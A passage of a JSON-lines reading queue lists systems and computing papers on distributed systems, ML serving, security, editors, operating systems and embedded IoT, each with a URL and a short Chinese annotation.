Scale","meta":{"col3":"2020","col4":"VLDB'20;Google 回顾 Dremel 十年演进;BigQuery 设计依据。"},"url":"https://research.google/pubs/dremel-a-decade-of-interactive-sql-analysis-at-web-scale/","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} -{"slug":"farm-2015","area":"papers","topic":"distributed-systems","title":"FaRM: Fast Remote Memory","meta":{"col3":"2014","col4":"NSDI'14;MSR;RDMA + 1-sided reads;现代低延迟存储系统起点。"},"url":"https://www.microsoft.com/en-us/research/publication/farm-fast-remote-memory/","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} -{"slug":"ray-2018","area":"papers","topic":"distributed-systems","title":"Ray: A Distributed Framework for Emerging AI Applications","meta":{"col3":"2018","col4":"OSDI'18;Berkeley;actor + task model 统一;现代 LLM training/inference 编排底座。"},"url":"https://www.usenix.org/conference/osdi18/presentation/moritz","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} -{"slug":"on-demand-container-loading","area":"papers","topic":"distributed-systems","title":"On-demand Container Loading in AWS Lambda","meta":{"col3":"2023","col4":"USENIX ATC'23;Lambda 启动 GB-级镜像 sub-second;现代 serverless 冷启动工程。"},"url":"https://www.usenix.org/conference/atc23/presentation/brooker","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} -{"slug":"paged-attention-vllm","area":"papers","topic":"ml-systems","title":"Efficient Memory Management for Large Language Model Serving with PagedAttention","meta":{"col3":"2023","col4":"Kwon et al. SOSP'23;vLLM 核心机制:把 GPU 显存当 OS 页表管 KV cache,直接催生 vLLM/SGLang/TensorRT-LLM 整代推理引擎"},"url":"https://arxiv.org/abs/2309.06180","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"flashattention-2","area":"papers","topic":"ml-systems","title":"FlashAttention-2: Faster Attention with Better Parallelism","meta":{"col3":"2023","col4":"Tri Dao;用 work partitioning 重排把 IO-aware attention 推到 A100 接近峰值,已是所有现代训练/推理 stack 的默认实现"},"url":"https://arxiv.org/abs/2307.08691","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"flashattention-3-2024","area":"papers","topic":"ml-systems","title":"FlashAttention-3: Fast and Accurate Attention with Asynchrony and Low-Precision","meta":{"col3":"2024","col4":"Hopper 上利用 WGMMA + FP8 + warp specialization;H100 attention 实测达峰值 75%;TMA 异步流水范本"},"url":"https://arxiv.org/abs/2407.08608","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"megatron-core-moe-2026","area":"papers","topic":"ml-systems","title":"Scalable Training of Mixture-of-Experts Models with Megatron Core","meta":{"col3":"2026","col4":"NVIDIA 系统综述:MoE 训练全栈优化(recompute/offload/Grouped GEMM/CUDA Graphs/FP8);DeepSeek-V3-685B 1233 TFLOPS"},"url":"https://arxiv.org/abs/2603.07685","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"vescale-fsdp-2026","area":"papers","topic":"ml-systems","title":"veScale-FSDP: Flexible and High-Performance FSDP at Scale","meta":{"col3":"2026","col4":"字节自研 FSDP;RaggedShard 结构感知分片支持 block-quant/Shampoo/Muon;万卡级 5–66% 吞吐提升"},"url":"https://arxiv.org/abs/2602.22437","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"qserve-w4a8kv4-2024","area":"papers","topic":"ml-systems","title":"QServe: W4A8KV4 Quantization and System Co-design for Efficient LLM Serving","meta":{"col3":"2024","col4":"Song Han;揭穿 INT4 在云端 batch 上的 dequant overhead,提出渐进量化 + SmoothAttention,实测 Llama-3 1.4x"},"url":"https://arxiv.org/abs/2405.04532","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"expertflow-moe-offload","area":"papers","topic":"ml-systems","title":"ExpertFlow: Efficient MoE Inference via Predictive Expert Caching","meta":{"col3":"2024","col4":"解决 MoE 部署内存爆炸:路由预测 + token 调度 + 预测式 expert cache;93.7% 显存削减 10x throughput"},"url":"https://arxiv.org/abs/2410.17954","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"nexus-prefill-decode-intra-gpu","area":"papers","topic":"ml-systems","title":"Nexus: Proactive Intra-GPU Disaggregation of Prefill and Decode","meta":{"col3":"2025","col4":"在单 GPU 内动态切 prefill/decode 资源;vLLM 上 2.2x 吞吐 / 20x TTFT;引入饱和与带宽争用模型"},"url":"https://arxiv.org/abs/2507.06608","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"liger-kernel-llm-training","area":"papers","topic":"ml-systems","title":"Liger Kernel: Efficient Triton Kernels for LLM Training","meta":{"col3":"2024","col4":"LinkedIn 开源 Triton kernel 套件;fused chunked CE/RMSNorm 等带来 20% 训练吞吐 + 60% 显存节省"},"url":"https://arxiv.org/abs/2410.10989","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"triton-anatomy-paged-attn","area":"papers","topic":"ml-systems","title":"The Anatomy of a Triton Attention Kernel","meta":{"col3":"2025","col4":"把 paged attention 用纯 Triton 写到 NVIDIA/AMD 上 SOTA 105.9%;可移植 LLM 推理 kernel 编写范本"},"url":"https://arxiv.org/abs/2511.11581","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"speculative-decoding-leviathan-2023","area":"papers","topic":"ml-systems","title":"Fast Inference from Transformers via Speculative Decoding","meta":{"col3":"2023","col4":"Leviathan-Kalman;speculative decoding 起源论文,draft+verify 推理范式被 vLLM/TGI/EAGLE 等普遍继承"},"url":"https://arxiv.org/abs/2211.17192","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"tensorrt-llm-overview","area":"papers","topic":"ml-systems","title":"NVIDIA TensorRT-LLM: An Open-Source Library for Optimizing LLM Inference","meta":{"col3":"2024","col4":"NVIDIA 官方推理库技术报告;CUDA Graph + 多种 attention impl + chunked prefill + in-flight batching"},"url":"https://github.com/NVIDIA/TensorRT-LLM","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"sglang-radixattention","area":"papers","topic":"ml-systems","title":"SGLang: Efficient Execution of Structured Language Model Programs","meta":{"col3":"2024","col4":"Lianmin Zheng;RadixAttention 自动复用 KV prefix;编程模型 + 运行时一体化,对 agent/tool-use workload 关键"},"url":"https://arxiv.org/abs/2312.07104","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"ds-zero-pp-comm","area":"papers","topic":"ml-systems","title":"ZeRO++: Extremely Efficient Collective Communication for Giant Model Training","meta":{"col3":"2024","col4":"DeepSpeed ZeRO++ 系列:低精度通信 + hierarchical partitioning,把跨机带宽瓶颈削 4x;多机训练标配"},"url":"https://arxiv.org/abs/2306.10209","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"rsa-1978","area":"papers","topic":"security-privacy","title":"A Method for Obtaining Digital Signatures and Public-Key Cryptosystems","meta":{"col3":"1978","col4":"Rivest-Shamir-Adleman;非对称密码学的开山论文,所有 PKI/TLS/PGP 的祖宗"},"url":"https://people.csail.mit.edu/rivest/Rsapaper.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"noise-protocol-framework","area":"papers","topic":"security-privacy","title":"The Noise Protocol Framework","meta":{"col3":"2018","col4":"Trevor Perrin;为 WireGuard/WhatsApp/Signal X3DH 提供通用 handshake pattern 形式化框架"},"url":"https://noiseprotocol.org/noise.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"signal-double-ratchet-2016","area":"papers","topic":"security-privacy","title":"The Double Ratchet Algorithm","meta":{"col3":"2016","col4":"Signal/WhatsApp/Matrix 端到端加密的核心;前向安全 + post-compromise security 同时实现"},"url":"https://signal.org/docs/specifications/doubleratchet/doubleratchet.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"ckks-homomorphic-2017","area":"papers","topic":"security-privacy","title":"Homomorphic Encryption for Arithmetic of Approximate Numbers","meta":{"col3":"2017","col4":"Cheon-Kim-Kim-Song;CKKS 全同态方案,浮点近似域;TenSeal/HEAAN/SEAL 后端基础"},"url":"https://eprint.iacr.org/2016/421.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"dwork-differential-privacy-2006","area":"papers","topic":"security-privacy","title":"Calibrating Noise to Sensitivity in Private Data Analysis","meta":{"col3":"2006","col4":"Dwork-McSherry-Nissim-Smith;正式定义 ε-DP + Laplace mechanism;现代隐私 ML 范式起点"},"url":"https://link.springer.com/chapter/10.1007/11681878_14","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"zk-snark-pinocchio-2013","area":"papers","topic":"security-privacy","title":"Pinocchio: Nearly Practical Verifiable Computation","meta":{"col3":"2013","col4":"Parno et al.;首批工程化 zk-SNARK;Zcash/Filecoin/StarkWare 都站在它肩上"},"url":"https://eprint.iacr.org/2013/279","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"spectre-attack-2018","area":"papers","topic":"security-privacy","title":"Spectre Attacks: Exploiting Speculative Execution","meta":{"col3":"2018","col4":"Kocher et al.;揭示推测执行造成的边信道,触发整个 CPU 行业 redesign(IBPB/STIBP/retpoline)"},"url":"https://spectreattack.com/spectre.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"meltdown-attack-2018","area":"papers","topic":"security-privacy","title":"Meltdown: Reading Kernel Memory from User Space","meta":{"col3":"2018","col4":"Lipp et al.;Intel 乱序执行漏洞,KPTI 进入 Linux/Windows/macOS 的直接动因"},"url":"https://meltdownattack.com/meltdown.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"rowhammer-2014","area":"papers","topic":"security-privacy","title":"Flipping Bits in Memory Without Accessing Them","meta":{"col3":"2014","col4":"Kim et al.;DRAM 物理副作用导致的位翻转,开启硬件层安全研究分支;ECC 不能完全防"},"url":"https://users.ece.cmu.edu/~yoonguk/papers/kim-isca14.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"oauth2-rfc6749","area":"papers","topic":"security-privacy","title":"OAuth 2.0 Authorization Framework (RFC 6749)","meta":{"col3":"2012","col4":"现代 web 授权事实标准;Google/GitHub/Slack/Atlassian/Apple Sign-In 都基于此"},"url":"https://datatracker.ietf.org/doc/html/rfc6749","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"webauthn-fido2","area":"papers","topic":"security-privacy","title":"Web Authentication: An API for accessing Public Key Credentials Level 2","meta":{"col3":"2021","col4":"W3C/FIDO2;passkey 的协议层;用挑战-响应 + 设备绑定密钥淘汰密码"},"url":"https://www.w3.org/TR/webauthn-2/","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"log4shell-cve-2021-44228","area":"papers","topic":"security-privacy","title":"Log4Shell (CVE-2021-44228) Analysis","meta":{"col3":"2021","col4":"log4j JNDI 注入;JVM 生态最严重 RCE 之一;推动 SBOM/sigstore/SCA 普及"},"url":"https://logging.apache.org/log4j/2.x/security.html","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"sigstore-cosign-2022","area":"papers","topic":"security-privacy","title":"Sigstore: Software Signing for Everybody","meta":{"col3":"2022","col4":"Newman et al.;keyless signing + Rekor 透明日志;Linux Foundation 软件供应链方案"},"url":"https://www.usenix.org/conference/usenixsecurity22/presentation/newman","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"tls-1-3-rfc8446","area":"papers","topic":"security-privacy","title":"TLS 1.3 (RFC 8446)","meta":{"col3":"2018","col4":"0-RTT 握手 + 现代 AEAD 套件;mandates forward secrecy;现代 web 的握手层基线"},"url":"https://datatracker.ietf.org/doc/html/rfc8446","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"tree-sitter-2018","area":"papers","topic":"editors-ide","title":"Tree-sitter: An Incremental Parsing System","meta":{"col3":"2018","col4":"Max Brunsfeld;GLR 增量解析器生成器;Atom/Neovim/GitHub 高亮 + 代码导航的事实标准"},"url":"https://tree-sitter.github.io/tree-sitter/","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"language-server-protocol-spec","area":"papers","topic":"editors-ide","title":"Language Server Protocol Specification","meta":{"col3":"2016","col4":"Microsoft;M*N → M+N 的编辑器/语言解耦协议;rust-analyzer/clangd/pyright 等都基于此"},"url":"https://microsoft.github.io/language-server-protocol/specifications/lsp/3.17/specification/","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"debug-adapter-protocol","area":"papers","topic":"editors-ide","title":"Debug Adapter Protocol","meta":{"col3":"2017","col4":"Microsoft;DAP 把 debugger 与 IDE 解耦;VS Code/Vim/Emacs 都重用 DAP 客户端"},"url":"https://microsoft.github.io/debug-adapter-protocol/","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"salsa-incremental-rust-analyzer","area":"papers","topic":"editors-ide","title":"Salsa: A Generic Framework for On-Demand, Incrementalized Computation","meta":{"col3":"2019","col4":"Niko Matsakis;rust-analyzer / rustc query system 引擎;增量编译/IDE 响应式核心"},"url":"https://github.com/salsa-rs/salsa","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"codemirror-6-architecture","area":"papers","topic":"editors-ide","title":"CodeMirror 6 Architecture","meta":{"col3":"2021","col4":"Marijn Haverbeke;不变式 state + functional view + tree-sitter 集成;现代 web editor 标杆"},"url":"https://codemirror.net/docs/guide/","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"monaco-editor-2016","area":"papers","topic":"editors-ide","title":"Monaco Editor: VS Code's Editor as a Library","meta":{"col3":"2016","col4":"Microsoft;VS Code 同源编辑器内核;TextMate grammars + LSP 客户端 + 基于行的渲染"},"url":"https://microsoft.github.io/monaco-editor/","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"zed-editor-collaborative","area":"papers","topic":"editors-ide","title":"Zed: A High-Performance Multiplayer Code Editor in Rust","meta":{"col3":"2024","col4":"Atom 团队;GPUI + CRDT + tree-sitter;端到端 Rust + 协同编辑实践范本"},"url":"https://zed.dev/blog/zed-decoded-architecture","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"eg-walker-collab-text-2024","area":"papers","topic":"editors-ide","title":"Collaborative Text Editing with Eg-walker: Better, Faster, Smaller","meta":{"col3":"2024","col4":"Kleppmann;OT 与 CRDT 之间的折中;显著降低协同编辑内存与加载时间"},"url":"https://arxiv.org/abs/2409.14252","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"yjs-crdt-overview","area":"papers","topic":"editors-ide","title":"Yjs: Shared Editing with CRDTs","meta":{"col3":"2020","col4":"Kevin Jahns;现代 web 协同编辑事实库;ProseMirror/CodeMirror/TipTap/BlockNote 后端"},"url":"https://docs.yjs.dev/","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"automerge-json-crdt-2017","area":"papers","topic":"editors-ide","title":"A Conflict-Free Replicated JSON Datatype","meta":{"col3":"2017","col4":"Kleppmann-Beresford;JSON CRDT 形式化;Automerge 1/2 演化的源"},"url":"https://arxiv.org/abs/1608.03960","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"operational-transform-jupiter-1995","area":"papers","topic":"editors-ide","title":"High-Latency, Low-Bandwidth Windowing in the Jupiter Collaboration System","meta":{"col3":"1995","col4":"Nichols et al.;Google Docs / Etherpad 使用的 OT 算法源头"},"url":"https://dl.acm.org/doi/10.1145/215585.215706","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"prosemirror-architecture","area":"papers","topic":"editors-ide","title":"ProseMirror: A Toolkit for Building Rich-Text Editors","meta":{"col3":"2017","col4":"Marijn Haverbeke;schema-driven 富文本,Notion/Atlassian/Confluence 编辑器后端"},"url":"https://prosemirror.net/docs/guide/","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"rust-analyzer-architecture","area":"papers","topic":"editors-ide","title":"Rust Analyzer: Architecture","meta":{"col3":"2019","col4":"Aleksey Kladov;增量分析 + lazy evaluation + on-demand compiler;现代 IDE 引擎设计教科书"},"url":"https://github.com/rust-lang/rust-analyzer/blob/master/docs/dev/architecture.md","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"kakoune-vim-philosophy","area":"papers","topic":"editors-ide","title":"Kakoune: An Object-Oriented Modal Editor","meta":{"col3":"2020","col4":"把 Vim 的 verb-noun 颠倒成 noun-verb;多光标 first-class;Helix 直接继承其设计"},"url":"https://kakoune.org/why-kakoune/why-kakoune.html","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"mach-rashid-1986","area":"papers","topic":"operating-systems","title":"Mach: A New Kernel Foundation for UNIX Development","meta":{"col3":"1986","col4":"Rashid et al.;微内核与 IPC 范式;macOS/iOS XNU 的 Mach 部分直接继承"},"url":"https://www.cs.cmu.edu/afs/cs/project/mach/public/www/doc/publications/usenix86.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"l4-microkernel-1995","area":"papers","topic":"operating-systems","title":"On Micro-Kernel Construction (L4)","meta":{"col3":"1995","col4":"Liedtke;秒级 IPC 性能 + 极简内核;seL4/Genode/Fiasco 谱系起点"},"url":"https://os.itec.kit.edu/downloads/sosp95-mkernel-construction.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"sel4-formal-2009","area":"papers","topic":"operating-systems","title":"seL4: Formal Verification of an OS Kernel","meta":{"col3":"2009","col4":"Klein et al. SOSP'09;首个端到端形式化验证内核;安全/航空/防御领域基线"},"url":"https://sel4.systems/Info/Docs/seL4-paper-CACM.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"singularity-os-2007","area":"papers","topic":"operating-systems","title":"Singularity: Rethinking the Software Stack","meta":{"col3":"2007","col4":"Hunt-Larus;软件隔离进程 + 类型化 IPC;Rust-style safety 在 OS 层的早期探索"},"url":"https://www.microsoft.com/en-us/research/wp-content/uploads/2007/04/osr2007_rethinkingsoftwarestack.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"mirage-unikernel-2013","area":"papers","topic":"operating-systems","title":"Unikernels: Library Operating Systems for the Cloud","meta":{"col3":"2013","col4":"Madhavapeddy et al. ASPLOS'13;OCaml 编出 unikernel;冷启动 < 50ms 的 cloud OS 范本"},"url":"https://anil.recoil.org/papers/2013-asplos-mirage.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"firecracker-microvm-2020","area":"papers","topic":"operating-systems","title":"Firecracker: Lightweight Virtualization for Serverless Applications","meta":{"col3":"2020","col4":"Agache et al. NSDI'20;AWS Lambda/Fargate 的 microVM;KVM + jailer,125ms 启动 + 5MiB 内存"},"url":"https://www.usenix.org/system/files/nsdi20-paper-agache.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"io-uring-axboe-2019","area":"papers","topic":"operating-systems","title":"Efficient IO with io_uring","meta":{"col3":"2019","col4":"Jens Axboe;Linux 5.1+;共享环 + SQE/CQE,绕开 syscall 进出,DB/网络栈下一代 IO"},"url":"https://kernel.dk/io_uring.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"ebpf-linux-runtime-2024","area":"papers","topic":"operating-systems","title":"The eBPF Runtime in the Linux Kernel","meta":{"col3":"2024","col4":"Gbadamosi et al.;首篇系统化 eBPF 运行时论文;observability/network/security/scheduler 全面覆盖"},"url":"https://arxiv.org/abs/2410.00026","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"zfs-bonwick-2003","area":"papers","topic":"operating-systems","title":"The Zettabyte File System (ZFS)","meta":{"col3":"2003","col4":"Bonwick;CoW + transactional + 校验和 + snapshot;现代 filesystem 范式(Btrfs/APFS 都受影响)"},"url":"https://www.cs.hmc.edu/~rhodes/courses/cs134/papers/zfs.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"rcu-mckenney-2017","area":"papers","topic":"operating-systems","title":"What is RCU, Fundamentally?","meta":{"col3":"2017","col4":"Paul McKenney;Linux 内核读端无锁同步范式;调度器/路由表/虚存子系统都用"},"url":"https://lwn.net/Articles/262464/","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"jemalloc-evans-2006","area":"papers","topic":"operating-systems","title":"A Scalable Concurrent malloc(3) Implementation for FreeBSD","meta":{"col3":"2006","col4":"Jason Evans;jemalloc;多 arena + 线程缓存 + size class;FreeBSD/Firefox/Redis 默认"},"url":"https://people.freebsd.org/~jasone/jemalloc/bsdcan2006/jemalloc.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"tcmalloc-google-2007","area":"papers","topic":"operating-systems","title":"TCMalloc: Thread-Caching Malloc","meta":{"col3":"2007","col4":"Google;per-thread cache + central freelist + page heap;Chromium/Bazel/绝大多数 Google 服务默认"},"url":"https://google.github.io/tcmalloc/design.html","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"mimalloc-leijen-2019","area":"papers","topic":"operating-systems","title":"Mimalloc: Free List Sharding in Action","meta":{"col3":"2019","col4":"Leijen et al. MSR;segment + page + free list 分片;性能逼近 jemalloc 的同时简洁很多"},"url":"https://www.microsoft.com/en-us/research/uploads/prod/2019/06/mimalloc-tr-v1.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"dpdk-poll-mode-driver","area":"papers","topic":"operating-systems","title":"Data Plane Development Kit (DPDK) Architecture","meta":{"col3":"2014","col4":"Intel;用户态 poll-mode driver + hugepage + lockless ring;线速 100Gbps 网络栈基础"},"url":"https://www.dpdk.org/wp-content/uploads/sites/35/2014/09/DPDK-SFSummit2014-HighPerformanceNetworkingLeveragingDPDK-Brief.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"freertos-overview","area":"papers","topic":"embedded-iot","title":"FreeRTOS Reference Manual","meta":{"col3":"2003","col4":"Real Time Engineers;嵌入式 RTOS 事实标准;亚马逊 2017 收购后纳入 AWS IoT"},"url":"https://www.freertos.org/Documentation/RTOS_book.html","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"zephyr-rtos-overview","area":"papers","topic":"embedded-iot","title":"Zephyr Project: A Linux Foundation RTOS","meta":{"col3":"2017","col4":"scalable POSIX-like RTOS;蓝牙/Thread/USB 全栈支持;Nordic/Intel/NXP 主推"},"url":"https://docs.zephyrproject.org/latest/introduction/index.html","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"rate-monotonic-1973","area":"papers","topic":"embedded-iot","title":"Scheduling Algorithms for Multiprogramming in a Hard-Real-Time Environment","meta":{"col3":"1973","col4":"Liu-Layland;rate-monotonic 调度 + 利用率界定理;实时调度奠基论文"},"url":"https://dl.acm.org/doi/10.1145/321738.321743","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"priority-inversion-mars-pathfinder","area":"papers","topic":"embedded-iot","title":"What Really Happened on Mars Pathfinder","meta":{"col3":"1997","col4":"Mike Jones;火星探路者 reset 案例;priority inheritance 经典 case study"},"url":"https://www.cs.unc.edu/~anderson/teach/comp790/papers/mars_pathfinder_long_version.html","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"matter-protocol-1-0","area":"papers","topic":"embedded-iot","title":"Matter 1.0 Specification","meta":{"col3":"2022","col4":"CSA;统一 Apple/Google/Amazon/Samsung 智能家居协议;基于 Thread/WiFi + IPv6"},"url":"https://csa-iot.org/all-solutions/matter/","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"mqtt-v5-spec","area":"papers","topic":"embedded-iot","title":"MQTT Version 5.0 OASIS Standard","meta":{"col3":"2019","col4":"publish/subscribe 轻量协议;AWS IoT/Azure IoT/HiveMQ 实现;session 共享/properties 增强"},"url":"https://docs.oasis-open.org/mqtt/mqtt/v5.0/mqtt-v5.0.html","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"coap-rfc7252","area":"papers","topic":"embedded-iot","title":"Constrained Application Protocol (RFC 7252)","meta":{"col3":"2014","col4":"IETF;UDP 上的 RESTful 协议;Thread/6LoWPAN 设备首选;resource discovery + observe"},"url":"https://datatracker.ietf.org/doc/html/rfc7252","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"zigbee-vs-matter-thread-2026","area":"papers","topic":"embedded-iot","title":"Zigbee vs. Matter over Thread: Understanding IoT Protocol Performance","meta":{"col3":"2026","col4":"实测 mesh 路由恢复 / 多跳延迟 / 吞吐 trade-off;选型决策依据"},"url":"https://arxiv.org/abs/2603.04221","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"tflite-micro-2021","area":"papers","topic":"embedded-iot","title":"TensorFlow Lite Micro: Embedded ML for TinyML Systems","meta":{"col3":"2021","col4":"Google;针对 < 1MB SRAM MCU 的 ML runtime;Cortex-M0+ 上跑 keyword spotting/wake word"},"url":"https://arxiv.org/abs/2010.08678","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"microtvm-2020","area":"papers","topic":"embedded-iot","title":"microTVM: Tensor Virtual Machine for Microcontrollers","meta":{"col3":"2020","col4":"TVM 团队;编译 ML 到 bare-metal MCU;自动调优 CMSIS-NN kernel"},"url":"https://tvm.apache.org/docs/topic/microtvm/index.html","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"embassy-async-rust-embedded","area":"papers","topic":"embedded-iot","title":"Embassy: Modern Async Rust for Embedded Systems","meta":{"col3":"2023","col4":"Dirbaio;async/await + DMA-aware HAL;嵌入式 Rust 事实并发框架(STM32/nRF/RP2040)"},"url":"https://embassy.dev/book/","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"u-boot-bootloader","area":"papers","topic":"embedded-iot","title":"Das U-Boot Universal Bootloader","meta":{"col3":"2002","col4":"DENX;ARM/PPC/RISC-V 嵌入式启动事实标准;DTB / FIT image / verified boot 